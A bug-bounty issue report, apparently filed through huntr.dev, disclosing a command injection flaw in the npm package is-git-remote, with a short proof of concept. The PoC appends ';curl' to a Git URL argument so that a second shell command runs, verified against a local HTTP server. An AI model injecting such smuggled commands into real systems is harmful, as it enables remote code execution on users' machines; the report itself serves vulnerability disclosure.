node-is-git-remote's Issues

huntr.dev - Command Injection

This issue has been generated on-behalf of Mik317 (https://huntr.dev/app/users/Mik317)

Vulnerability Description

The issue occurs because a user input is formatted inside a command that will be executed without any check. The issue arises here: https://github.com/aichbauer/node-is-git-remote/blob/master/lib/index.js#L15

Steps To Reproduce:

  1. Create the following PoC file:
// poc.js
const isGitRemote = require('is-git-remote');
 
isGitRemote.default('https://github.com/Mik317/PyScan.git;curl "http://localhost/RCE"');
  1. Run a py server in order to verify the cUrl command: python3 -m http.server 80
  2. Execute the following commands in another terminal:
npm i is-git-remote # Install affected module
git init # Avoid problems with the file validation
node poc.js #  Run the PoC
  1. The cUrl command will be executed ... and the py server will receive a request to the http://localhost/RCE address
